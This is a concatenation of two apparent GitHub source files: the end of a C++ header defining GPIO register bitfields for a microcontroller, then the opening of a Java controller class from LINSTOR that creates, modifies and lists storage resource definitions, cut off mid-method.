constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,unsigned> rto03e{};
/// bitfield RTO02E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,4),Register::ReadWriteAccess,unsigned> rto02e{};
/// bitfield RTO01E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,2),Register::ReadWriteAccess,unsigned> rto01e{};
/// bitfield RTO00E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,0),Register::ReadWriteAccess,unsigned> rto00e{};
}
namespace GpioEpfr02{ ///< register EPFR02
using Addr = Register::Address<0x40033608,0xffffffff,0x00000000,unsigned>;
}
namespace GpioEpfr03{ ///< register EPFR03
using Addr = Register::Address<0x4003360c,0xffffffff,0x00000000,unsigned>;
}
namespace GpioEpfr04{ ///< register EPFR04
using Addr = Register::Address<0x40033610,0xc0c3c083,0x00000000,unsigned>;
/// bitfield TIOB3S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(29,28),Register::ReadWriteAccess,unsigned> tiob3s{};
/// bitfield TIOA3E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(27,26),Register::ReadWriteAccess,unsigned> tioa3e{};
/// bitfield TIOA3S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(25,24),Register::ReadWriteAccess,unsigned> tioa3s{};
/// bitfield TIOB2S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(21,20),Register::ReadWriteAccess,unsigned> tiob2s{};
/// bitfield TIOA2E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,18),Register::ReadWriteAccess,unsigned> tioa2e{};
/// bitfield TIOB1S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,12),Register::ReadWriteAccess,unsigned> tiob1s{};
/// bitfield TIOA1E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,10),Register::ReadWriteAccess,unsigned> tioa1e{};
/// bitfield TIOA1S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,8),Register::ReadWriteAccess,unsigned> tioa1s{};
/// bitfield TIOB0S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,4),Register::ReadWriteAccess,unsigned> tiob0s{};
/// bitfield TIOA0E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,2),Register::ReadWriteAccess,unsigned> tioa0e{};
}
namespace GpioEpfr05{ ///< register EPFR05
using Addr = Register::Address<0x40033614,0xc0c3c0c3,0x00000000,unsigned>;
/// bitfield TIOB7S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(29,28),Register::ReadWriteAccess,unsigned> tiob7s{};
/// bitfield TIOA7E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(27,26),Register::ReadWriteAccess,unsigned> tioa7e{};
/// bitfield TIOA7S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(25,24),Register::ReadWriteAccess,unsigned> tioa7s{};
/// bitfield TIOB6S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(21,20),Register::ReadWriteAccess,unsigned> tiob6s{};
/// bitfield TIOA6E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,18),Register::ReadWriteAccess,unsigned> tioa6e{};
/// bitfield TIOB5S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,12),Register::ReadWriteAccess,unsigned> tiob5s{};
/// bitfield TIOA5E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,10),Register::ReadWriteAccess,unsigned> tioa5e{};
/// bitfield TIOA5S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,8),Register::ReadWriteAccess,unsigned> tioa5s{};
/// bitfield TIOB4S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,4),Register::ReadWriteAccess,unsigned> tiob4s{};
/// bitfield TIOA4E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,2),Register::ReadWriteAccess,unsigned> tioa4e{};
}
namespace GpioEpfr06{ ///< register EPFR06
using Addr = Register::Address<0x40033618,0xcfff0f0f,0x00000000,unsigned>;
/// bitfield EINT14S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(29,28),Register::ReadWriteAccess,unsigned> eint14s{};
/// bitfield EINT07S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,14),Register::ReadWriteAccess,unsigned> eint07s{};
/// bitfield EINT06S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,12),Register::ReadWriteAccess,unsigned> eint06s{};
/// bitfield EINT03S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,unsigned> eint03s{};
/// bitfield EINT02S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,4),Register::ReadWriteAccess,unsigned> eint02s{};
}
namespace GpioEpfr07{ ///< register EPFR07
using Addr = Register::Address<0x4003361c,0xffc0000f,0x00000000,unsigned>;
/// bitfield SCK2B
constexpr Register::FieldLocation<Addr,Register::maskFromRange(21,20),Register::ReadWriteAccess,unsigned> sck2b{};
/// bitfield SOT2B
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,18),Register::ReadWriteAccess,unsigned> sot2b{};
/// bitfield SIN2S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(17,16),Register::ReadWriteAccess,unsigned> sin2s{};
/// bitfield SCK1B
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,14),Register::ReadWriteAccess,unsigned> sck1b{};
/// bitfield SOT1B
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,12),Register::ReadWriteAccess,unsigned> sot1b{};
/// bitfield SIN1S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,10),Register::ReadWriteAccess,unsigned> sin1s{};
/// bitfield SCK0B
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,8),Register::ReadWriteAccess,unsigned> sck0b{};
/// bitfield SOT0B
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,unsigned> sot0b{};
/// bitfield SIN0S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,4),Register::ReadWriteAccess,unsigned> sin0s{};
}
namespace GpioEpfr08{ ///< register EPFR08
using Addr = Register::Address<0x40033620,0xffff03ff,0x00000000,unsigned>;
/// bitfield SCK5B
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,14),Register::ReadWriteAccess,unsigned> sck5b{};
/// bitfield SOT5B
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,12),Register::ReadWriteAccess,unsigned> sot5b{};
/// bitfield SIN5S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,10),Register::ReadWriteAccess,unsigned> sin5s{};
}
namespace GpioEpfr09{ ///< register EPFR09
using Addr = Register::Address<0x40033624,0xffff003f,0x00000000,unsigned>;
/// bitfield ADTRG0S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,12),Register::ReadWriteAccess,unsigned> adtrg0s{};
/// bitfield QZIN1S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,10),Register::ReadWriteAccess,unsigned> qzin1s{};
/// bitfield QBIN1S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,8),Register::ReadWriteAccess,unsigned> qbin1s{};
/// bitfield QAIN1S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,unsigned> qain1s{};
}
namespace GpioEpfr10{ ///< register EPFR10
using Addr = Register::Address<0x40033628,0xffffffff,0x00000000,unsigned>;
}
namespace GpioEpfr11{ ///< register EPFR11
using Addr = Register::Address<0x4003362c,0xffffffff,0x00000000,unsigned>;
}
namespace GpioEpfr12{ ///< register EPFR12
using Addr = Register::Address<0x40033630,0xffffffff,0x00000000,unsigned>;
}
namespace GpioEpfr13{ ///< register EPFR13
using Addr = Register::Address<0x40033634,0xffffffff,0x00000000,unsigned>;
}
namespace GpioEpfr14{ ///< register EPFR14
using Addr = Register::Address<0x40033638,0xffffffff,0x00000000,unsigned>;
}
namespace GpioEpfr15{ ///< register EPFR15
using Addr = Register::Address<0x4003363c,0xffffff0f,0x00000000,unsigned>;
/// bitfield EINT19S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,unsigned> eint19s{};
/// bitfield EINT18S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,4),Register::ReadWriteAccess,unsigned> eint18s{};
}
namespace GpioEpfr16{ ///< register EPFR16
using Addr = Register::Address<0x40033640,0xffffffff,0x00000000,unsigned>;
}
namespace GpioEpfr17{ ///< register EPFR17
using Addr = Register::Address<0x40033644,0xffffffff,0x00000000,unsigned>;
}
namespace GpioEpfr18{ ///< register EPFR18
using Addr = Register::Address<0x40033648,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPzr1{ ///< register PZR1
using Addr = Register::Address<0x40033704,0xffffffc1,0x00000000,unsigned>;
/// bitfield P5
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,unsigned> p5{};
/// bitfield P4
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> p4{};
/// bitfield P3
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> p3{};
/// bitfield P2
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> p2{};
/// bitfield P1
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> p1{};
}
namespace GpioPzr2{ ///< register PZR2
using Addr = Register::Address<0x40033708,0xfffffff1,0x00000000,unsigned>;
/// bitfield P3
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> p3{};
/// bitfield P2
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> p2{};
/// bitfield P1
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> p1{};
}
}
|
{
"pile_set_name": "Github"
}
|
package com.linbit.linstor.core.apicallhandler.controller;
import com.linbit.ExhaustedPoolException;
import com.linbit.ImplementationError;
import com.linbit.InvalidNameException;
import com.linbit.ValueInUseException;
import com.linbit.ValueOutOfRangeException;
import com.linbit.linstor.InternalApiConsts;
import com.linbit.linstor.LinStorDataAlreadyExistsException;
import com.linbit.linstor.LinStorException;
import com.linbit.linstor.LinstorParsingUtils;
import com.linbit.linstor.VolumeNumberAlloc;
import com.linbit.linstor.annotation.ApiContext;
import com.linbit.linstor.annotation.PeerContext;
import com.linbit.linstor.api.ApiCallRc;
import com.linbit.linstor.api.ApiCallRcImpl;
import com.linbit.linstor.api.ApiCallRcImpl.ApiCallRcEntry;
import com.linbit.linstor.api.ApiConsts;
import com.linbit.linstor.api.prop.LinStorObject;
import com.linbit.linstor.core.CoreModule.ResourceDefinitionMapExtName;
import com.linbit.linstor.core.CtrlSecurityObjects;
import com.linbit.linstor.core.apicallhandler.ScopeRunner;
import com.linbit.linstor.core.apicallhandler.controller.helpers.EncryptionHelper;
import com.linbit.linstor.core.apicallhandler.controller.internal.CtrlSatelliteUpdateCaller;
import com.linbit.linstor.core.apicallhandler.response.ApiAccessDeniedException;
import com.linbit.linstor.core.apicallhandler.response.ApiDatabaseException;
import com.linbit.linstor.core.apicallhandler.response.ApiException;
import com.linbit.linstor.core.apicallhandler.response.ApiOperation;
import com.linbit.linstor.core.apicallhandler.response.ApiRcException;
import com.linbit.linstor.core.apicallhandler.response.ApiSuccessUtils;
import com.linbit.linstor.core.apicallhandler.response.ResponseContext;
import com.linbit.linstor.core.apicallhandler.response.ResponseConverter;
import com.linbit.linstor.core.apis.ResourceDefinitionApi;
import com.linbit.linstor.core.apis.VolumeDefinitionApi;
import com.linbit.linstor.core.apis.VolumeDefinitionWtihCreationPayload;
import com.linbit.linstor.core.identifier.ResourceGroupName;
import com.linbit.linstor.core.identifier.ResourceName;
import com.linbit.linstor.core.identifier.VolumeNumber;
import com.linbit.linstor.core.objects.ResourceDefinition;
import com.linbit.linstor.core.objects.ResourceDefinitionControllerFactory;
import com.linbit.linstor.core.objects.ResourceGroup;
import com.linbit.linstor.core.objects.ResourceGroupControllerFactory;
import com.linbit.linstor.core.objects.SnapshotDefinition;
import com.linbit.linstor.core.objects.SnapshotVolumeDefinition;
import com.linbit.linstor.core.objects.VolumeDefinition;
import com.linbit.linstor.core.repository.ResourceDefinitionRepository;
import com.linbit.linstor.core.repository.ResourceGroupRepository;
import com.linbit.linstor.dbdrivers.DatabaseException;
import com.linbit.linstor.debug.HexViewer;
import com.linbit.linstor.layer.LayerPayload;
import com.linbit.linstor.layer.resource.CtrlRscLayerDataFactory;
import com.linbit.linstor.logging.ErrorReporter;
import com.linbit.linstor.netcom.Peer;
import com.linbit.linstor.propscon.Props;
import com.linbit.linstor.security.AccessContext;
import com.linbit.linstor.security.AccessDeniedException;
import com.linbit.linstor.security.AccessType;
import com.linbit.linstor.storage.interfaces.layers.drbd.DrbdRscDfnObject.TransportType;
import com.linbit.linstor.storage.kinds.DeviceLayerKind;
import com.linbit.linstor.tasks.AutoDiskfulTask;
import com.linbit.linstor.tasks.AutoSnapshotTask;
import com.linbit.locks.LockGuardFactory;
import static com.linbit.linstor.core.apicallhandler.controller.helpers.ExternalNameConverter.createResourceName;
import static com.linbit.locks.LockGuardFactory.LockObj.NODES_MAP;
import static com.linbit.locks.LockGuardFactory.LockObj.RSC_DFN_MAP;
import static com.linbit.locks.LockGuardFactory.LockObj.STOR_POOL_DFN_MAP;
import static com.linbit.locks.LockGuardFactory.LockType.WRITE;
import javax.annotation.Nullable;
import javax.inject.Inject;
import javax.inject.Provider;
import javax.inject.Singleton;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;
import java.util.UUID;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import reactor.core.publisher.Flux;
@Singleton
public class CtrlRscDfnApiCallHandler
{
private final ErrorReporter errorReporter;
private final AccessContext apiCtx;
private final CtrlVlmDfnApiCallHandler vlmDfnHandler;
private final CtrlTransactionHelper ctrlTransactionHelper;
private final CtrlPropsHelper ctrlPropsHelper;
private final CtrlApiDataLoader ctrlApiDataLoader;
private final ResourceGroupControllerFactory resourceGroupFactory;
private final ResourceDefinitionControllerFactory resourceDefinitionFactory;
private final ResourceGroupRepository resourceGroupRepository;
private final ResourceDefinitionRepository resourceDefinitionRepository;
private final CtrlSatelliteUpdateCaller ctrlSatelliteUpdateCaller;
private final ResponseConverter responseConverter;
private final CtrlSecurityObjects secObjs;
private final Provider<Peer> peer;
private final Provider<AccessContext> peerAccCtx;
private final CtrlConfApiCallHandler ctrlConfApiCallHandler;
private final ScopeRunner scopeRunner;
private final LockGuardFactory lockGuardFactory;
private final CtrlRscLayerDataFactory ctrlLayerStackHelper;
private final EncryptionHelper encHelper;
private final AutoSnapshotTask autoSnapshotTask;
private final AutoDiskfulTask autoDiskfulTask;
private final CtrlSnapshotDeleteApiCallHandler ctrlSnapDeleteHandler;
@Inject
public CtrlRscDfnApiCallHandler(
ErrorReporter errorReporterRef,
@ApiContext AccessContext apiCtxRef,
CtrlVlmDfnApiCallHandler vlmDfnHandlerRef,
CtrlTransactionHelper ctrlTransactionHelperRef,
CtrlPropsHelper ctrlPropsHelperRef,
CtrlApiDataLoader ctrlApiDataLoaderRef,
ResourceGroupControllerFactory resourceGroupFactoryRef,
ResourceDefinitionControllerFactory resourceDefinitionFactoryRef,
ResourceGroupRepository resourceGroupRepositoryRef,
ResourceDefinitionRepository resourceDefinitionRepositoryRef,
CtrlSatelliteUpdateCaller ctrlSatelliteUpdateCallerRef,
ResponseConverter responseConverterRef,
CtrlSecurityObjects secObjsRef,
Provider<Peer> peerRef,
@PeerContext Provider<AccessContext> peerAccCtxRef,
ScopeRunner scopeRunnerRef,
LockGuardFactory lockGuardFactoryRef,
CtrlConfApiCallHandler ctrlConfApiCallHandlerRef,
CtrlRscLayerDataFactory ctrlLayerStackHelperRef,
EncryptionHelper encHelperRef,
AutoSnapshotTask autoSnapshotTaskRef,
AutoDiskfulTask autoDiskfulTaskRef,
CtrlSnapshotDeleteApiCallHandler ctrlSnapDeleteHandlerRef
)
{
errorReporter = errorReporterRef;
apiCtx = apiCtxRef;
vlmDfnHandler = vlmDfnHandlerRef;
ctrlTransactionHelper = ctrlTransactionHelperRef;
ctrlPropsHelper = ctrlPropsHelperRef;
ctrlApiDataLoader = ctrlApiDataLoaderRef;
resourceGroupFactory = resourceGroupFactoryRef;
resourceDefinitionFactory = resourceDefinitionFactoryRef;
resourceGroupRepository = resourceGroupRepositoryRef;
resourceDefinitionRepository = resourceDefinitionRepositoryRef;
ctrlSatelliteUpdateCaller = ctrlSatelliteUpdateCallerRef;
responseConverter = responseConverterRef;
secObjs = secObjsRef;
peer = peerRef;
peerAccCtx = peerAccCtxRef;
ctrlLayerStackHelper = ctrlLayerStackHelperRef;
ctrlConfApiCallHandler = ctrlConfApiCallHandlerRef;
scopeRunner = scopeRunnerRef;
lockGuardFactory = lockGuardFactoryRef;
encHelper = encHelperRef;
autoSnapshotTask = autoSnapshotTaskRef;
autoDiskfulTask = autoDiskfulTaskRef;
ctrlSnapDeleteHandler = ctrlSnapDeleteHandlerRef;
}
public ResourceDefinition createResourceDefinition(
String rscNameStr,
byte[] extName,
Integer portInt,
String secret,
String transportTypeStr,
Map<String, String> props,
List<VolumeDefinitionWtihCreationPayload> volDescrMap,
List<String> layerStackStrList,
Short peerSlotsRef,
String rscGrpNameStr,
boolean throwOnError,
ApiCallRcImpl apiCallRc
)
{
ApiCallRcImpl responses = new ApiCallRcImpl();
ResponseContext context = makeResourceDefinitionContext(
ApiOperation.makeCreateOperation(),
rscNameStr
);
ResourceDefinition rscDfn = null;
try
{
requireRscDfnMapChangeAccess();
List<DeviceLayerKind> layerStack = LinstorParsingUtils.asDeviceLayerKind(layerStackStrList);
if (!layerStack.isEmpty())
{
if (layerStack.contains(DeviceLayerKind.LUKS))
{
warnIfMasterKeyIsNotSet(responses);
}
if (!layerStack.get(layerStack.size() - 1).equals(DeviceLayerKind.STORAGE))
{
warnAddedStorageLayer(responses);
layerStack.add(DeviceLayerKind.STORAGE);
}
}
rscDfn = createRscDfn(
rscNameStr,
extName,
transportTypeStr,
portInt,
secret,
layerStack,
peerSlotsRef,
rscGrpNameStr
);
if (rscNameStr.trim().isEmpty())
{
// an external name was given which means that we have to update the object-references
// so the response of this create API is correctly filled
context.getObjRefs().put(ApiConsts.KEY_RSC_DFN, rscDfn.getName().displayValue);
}
ctrlPropsHelper.fillProperties(responses, LinStorObject.RESOURCE_DEFINITION, props,
ctrlPropsHelper.getProps(rscDfn), ApiConsts.FAIL_ACC_DENIED_RSC_DFN);
List<VolumeDefinition> createdVlmDfns = vlmDfnHandler.createVlmDfns(responses, rscDfn, volDescrMap);
resourceDefinitionRepository.put(apiCtx, rscDfn);
ctrlTransactionHelper.commit();
for (VolumeDefinition vlmDfn : createdVlmDfns)
{
ApiCallRcEntry volSuccessEntry = new ApiCallRcEntry();
volSuccessEntry.setReturnCode(ApiConsts.MASK_VLM_DFN | ApiConsts.CREATED);
String successMessage = String.format(
"Volume definition with number '%d' successfully " +
" created in resource definition '%s'.",
vlmDfn.getVolumeNumber().value,
rscNameStr
);
volSuccessEntry.setMessage(successMessage);
volSuccessEntry.putObjRef(ApiConsts.KEY_RSC_DFN, rscNameStr);
volSuccessEntry.putObjRef(ApiConsts.KEY_VLM_NR, Integer.toString(vlmDfn.getVolumeNumber().value));
responses.addEntry(volSuccessEntry);
errorReporter.logInfo(successMessage);
}
responseConverter.addWithOp(responses, context, ApiSuccessUtils.defaultCreatedEntry(
rscDfn.getUuid(), getRscDfnDescriptionInline(rscDfn)));
}
catch (Exception | ImplementationError exc)
{
if (throwOnError)
{
if (exc instanceof ApiRcException)
{
throw (ApiRcException) exc;
}
else
{
throw new ApiException(exc);
}
}
else
{
responses = responseConverter.reportException(peer.get(), context, exc);
}
}
apiCallRc.addEntries(responses);
return rscDfn;
}
private void warnIfMasterKeyIsNotSet(ApiCallRcImpl responsesRef) throws AccessDeniedException
{
byte[] masterKey = secObjs.getCryptKey();
if ((masterKey == null || masterKey.length == 0))
{
boolean passphraseExists = encHelper.passphraseExists(peerAccCtx.get());
String warnMsg = "The master key has not yet been set. Creating volume definitions within \n" +
"an encrypted resource definition will fail!";
errorReporter.logWarning(warnMsg);
responsesRef.addEntry(
ApiCallRcImpl.entryBuilder(
ApiConsts.WARN_NOT_FOUND_CRYPT_KEY,
warnMsg
)
.setCorrection(
(passphraseExists ? "Enter " : "Create ") +
" the master passphrase, or remove the luks layer from the stack"
)
.build()
);
}
}
private void warnAddedStorageLayer(ApiCallRcImpl responsesRef)
{
String warnMsg = "The layerstack was extended with STORAGE kind.";
errorReporter.logWarning(warnMsg);
responsesRef.addEntry(
ApiCallRcImpl.entryBuilder(
ApiConsts.WARN_STORAGE_KIND_ADDED,
warnMsg
)
.setDetails("Layer stacks have to be based on STORAGE kind. Layers configured to be diskless\n" +
"will not use the additional STORAGE layer.")
.build()
);
}
public Flux<ApiCallRc> modify(
UUID rscDfnUuid,
String rscNameStr,
Integer portInt,
Map<String, String> overrideProps,
Set<String> deletePropKeys,
Set<String> deleteNamespaces,
List<String> layerStackStrList,
Short newRscPeerSlots,
@Nullable String rscGroupName
)
{
ResponseContext context = makeResourceDefinitionContext(
ApiOperation.makeModifyOperation(),
rscNameStr
);
return scopeRunner
.fluxInTransactionalScope(
"Modify resource-definition",
lockGuardFactory.buildDeferred(
WRITE,
NODES_MAP, RSC_DFN_MAP, STOR_POOL_DFN_MAP, RSC_DFN_MAP
),
() -> modifyInTransaction(
rscDfnUuid,
rscNameStr,
portInt,
overrideProps,
deletePropKeys,
deleteNamespaces,
layerStackStrList,
newRscPeerSlots,
rscGroupName,
context
)
)
.transform(responses -> responseConverter.reportingExceptions(context, responses));
}
private Flux<ApiCallRc> modifyInTransaction(
UUID rscDfnUuid,
String rscNameStr,
Integer portInt,
Map<String, String> overrideProps,
Set<String> deletePropKeys,
Set<String> deletePropNamespaces,
List<String> layerStackStrList,
Short newRscPeerSlots,
@Nullable String rscGroupName,
ResponseContext context
)
{
Flux<ApiCallRc> flux = Flux.empty();
Flux<ApiCallRc> autoFlux = Flux.empty();
ApiCallRcImpl apiCallRcs = new ApiCallRcImpl();
boolean notifyStlts = false;
try
{
requireRscDfnMapChangeAccess();
ResourceName rscName = LinstorParsingUtils.asRscName(rscNameStr);
ResourceDefinition rscDfn = ctrlApiDataLoader.loadRscDfn(rscName, true);
if (rscDfnUuid != null && !rscDfnUuid.equals(rscDfn.getUuid()))
{
throw new ApiRcException(ApiCallRcImpl
.entryBuilder(
ApiConsts.FAIL_UUID_RSC_DFN,
"UUID-check failed"
)
.setDetails("local UUID: " + rscDfn.getUuid().toString() +
", received UUID: " + rscDfnUuid.toString())
.build()
);
}
if (portInt != null || newRscPeerSlots != null)
{
notifyStlts = true;
// TODO: might be a good idea to create this object earlier
LayerPayload payload = new LayerPayload();
payload.getDrbdRscDfn().tcpPort = portInt;
payload.getDrbdRscDfn().peerSlotsNewResource = newRscPeerSlots;
ctrlLayerStackHelper.ensureRequiredRscDfnLayerDataExits(
rscDfn,
"",
payload
);
}
if (!overrideProps.isEmpty() || !deletePropKeys.isEmpty())
{
Props rscDfnProps = ctrlPropsHelper.getProps(rscDfn);
notifyStlts = ctrlPropsHelper.fillProperties(
apiCallRcs,
LinStorObject.RESOURCE_DEFINITION,
overrideProps,
rscDfnProps,
ApiConsts.FAIL_ACC_DENIED_RSC_DFN
) || notifyStlts;
notifyStlts = ctrlPropsHelper.remove(
apiCallRcs,
LinStorObject.RESOURCE_DEFINITION,
rscDfnProps,
deletePropKeys,
deletePropNamespaces
) || notifyStlts;
autoFlux = handleChangedProperties(rscDfn, overrideProps, deletePropKeys, deletePropNamespaces);
}
if (!layerStackStrList.isEmpty())
{
List<DeviceLayerKind> layerStack = LinstorParsingUtils.asDeviceLayerKind(layerStackStrList);
if (!layerStack.equals(rscDfn.getLayerStack(peerAccCtx.get())) && rscDfn.getResourceCount() > 0)
{
throw new ApiRcException(ApiCallRcImpl
.entryBuilder(
ApiConsts.FAIL_EXISTS_RSC,
"Changing the layer stack with already deployed resource is not supported"
)
.build()
);
}
notifyStlts = true;
rscDfn.setLayerStack(peerAccCtx.get(), layerStack);
}
if (rscGroupName != null &&
!rscDfn.getResourceGroup().getName().getName().equalsIgnoreCase(rscGroupName))
{
ResourceGroup rscGrp = ctrlApiDataLoader.loadResourceGroup(rscGroupName, true);
rscDfn.setResourceGroup(peerAccCtx.get(), rscGrp);
notifyStlts = true;
}
ctrlTransactionHelper.commit();
responseConverter.addWithOp(apiCallRcs, context, ApiSuccessUtils.defaultModifiedEntry(
rscDfn.getUuid(), getRscDfnDescriptionInline(rscDfn)));
if (notifyStlts) {
flux = ctrlSatelliteUpdateCaller
.updateSatellites(rscDfn, Flux.empty())
.flatMap(updateTuple -> updateTuple == null ? Flux.empty() : updateTuple.getT2())
.concatWith(autoFlux);
}
}
catch (Exception | ImplementationError exc)
{
apiCallRcs = responseConverter.reportException(peer.get(), context, exc);
}
return Flux.just((ApiCallRc) apiCallRcs).concatWith(flux);
}
private Flux<ApiCallRc> handleChangedProperties(
ResourceDefinition rscDfn,
Map<String, String> overrideProps,
Set<String> deletePropKeys,
Set<String> deletePropNamespacesRef
)
{
Flux<ApiCallRc> retFlux = Flux.empty();
String rscNameStr = rscDfn.getName().displayValue;
String autoSnapShipKey = ApiConsts.NAMESPC_SNAPSHOT_SHIPPING + "/" + ApiConsts.KEY_RUN_EVERY;
String autoSnapShipVal = overrideProps.get(autoSnapShipKey);
if (autoSnapShipVal != null)
{
retFlux = autoSnapshotTask.addAutoSnapshotShipping(rscNameStr, Long.parseLong(autoSnapShipVal));
}
else
{
if (deletePropKeys.contains(autoSnapShipKey))
{
autoSnapshotTask.removeAutoSnapshotShipping(rscNameStr);
}
}
String autoSnapShipKeepKey = ApiConsts.NAMESPC_SNAPSHOT_SHIPPING + "/" + ApiConsts.KEY_KEEP;
if (overrideProps.containsKey(autoSnapShipKeepKey) || deletePropKeys.contains(autoSnapShipKeepKey))
{
retFlux = retFlux.concatWith(ctrlSnapDeleteHandler.cleanupOldShippedSnapshots(rscDfn));
}
String autoSnapKey = ApiConsts.NAMESPC_AUTO_SNAPSHOT + "/" + ApiConsts.KEY_RUN_EVERY;
String autoSnapVal = overrideProps.get(autoSnapKey);
if (autoSnapVal != null)
{
retFlux = retFlux.concatWith(
autoSnapshotTask.addAutoSnapshotting(rscNameStr, Long.parseLong(autoSnapVal))
);
}
else
{
if (deletePropKeys.contains(autoSnapKey))
{
autoSnapshotTask.removeAutoSnapshotting(rscNameStr);
}
}
String autoSnapKeepKey = ApiConsts.NAMESPC_AUTO_SNAPSHOT + "/" + ApiConsts.KEY_KEEP;
if (overrideProps.containsKey(autoSnapKeepKey) || deletePropKeys.contains(autoSnapKeepKey))
{
retFlux = retFlux.concatWith(ctrlSnapDeleteHandler.cleanupOldAutoSnapshots(rscDfn));
}
String autoDiskfulKey = ApiConsts.NAMESPC_DRBD_OPTIONS + "/" + ApiConsts.KEY_DRBD_AUTO_DISKFUL;
if (
overrideProps.containsKey(autoDiskfulKey) || deletePropKeys.contains(autoDiskfulKey) ||
deletePropNamespacesRef.contains(ApiConsts.NAMESPC_DRBD_OPTIONS)
)
{
autoDiskfulTask.update(rscDfn);
}
return retFlux;
}
ArrayList<ResourceDefinitionApi> listResourceDefinitions(List<String> rscDfnNames, List<String> propFilters)
{
ArrayList<ResourceDefinitionApi> rscdfns = new ArrayList<>();
final Set<ResourceName> rscDfnsFilter =
rscDfnNames.stream().map(LinstorParsingUtils::asRscName).collect(Collectors.toSet());
try
{
resourceDefinitionRepository.getMapForView(peerAccCtx.get()).values().stream()
.filter(rscDfn ->
(
rscDfnsFilter.isEmpty() ||
rscDfnsFilter.contains(rscDfn.getName())
)
)
.forEach(rscDfn ->
{
try
{
final Props props = rscDfn.getProps(peerAccCtx.get());
if (props.contains(propFilters))
{
rscdfns.add(rscDfn.getApiData(peerAccCtx.get()));
}
}
catch (AccessDeniedException accDeniedExc)
{
// don't add resource definition without access
}
}
);
}
catch (AccessDeniedException accDeniedExc)
{
// for now return an empty list.
}
return rscdfns;
}
private void requireRscDfnMapChangeAccess()
{
try
{
resourceDefinitionRepository.requireAccess(
peerAccCtx.get(),
AccessType.CHANGE
);
}
catch (AccessDeniedException accDeniedExc)
{
throw new ApiAccessDeniedException(
accDeniedExc,
"change any resource definitions",
ApiConsts.FAIL_ACC_DENIED_RSC_DFN
);
}
}
private ResourceDefinition createRscDfn(
String rscNameStr,
byte[] extNamePrm,
String transportTypeStr,
Integer portInt,
String secret,
List<DeviceLayerKind> layerStack,
Short peerSlotsRef,
String rscGrpNameStrPrm
)
throws InvalidNameException
{
if (rscNameStr == null)
{
throw new ImplementationError("Resource name must not be null!");
}
TransportType transportType = null;
if (transportTypeStr != null && !transportTypeStr.trim().isEmpty())
{
try
{
transportType = TransportType.byValue(transportTypeStr); // TODO needs exception
// handling
}
catch (IllegalArgumentException unknownValueExc)
{
throw new ApiRcException(ApiCallRcImpl.simpleEntry(
ApiConsts.FAIL_INVLD_TRANSPORT_TYPE,
"The given transport type '" + transportTypeStr + "' is invalid.",
true
), unknownValueExc);
}
}
boolean generatedRscName = false;
ResourceName rscName = null;
byte[] extName = extNamePrm;
if (!rscNameStr.isEmpty())
{
// A resource name was specified, an external name may have been specified optionally
rscName = LinstorParsingUtils.asRscName(rscNameStr);
if (extName != null)
{
// throws ApiRcException if the external name is not unique
checkExtNameUnique(extName, peerAccCtx.get(), resourceDefinitionRepository);
}
}
else
{
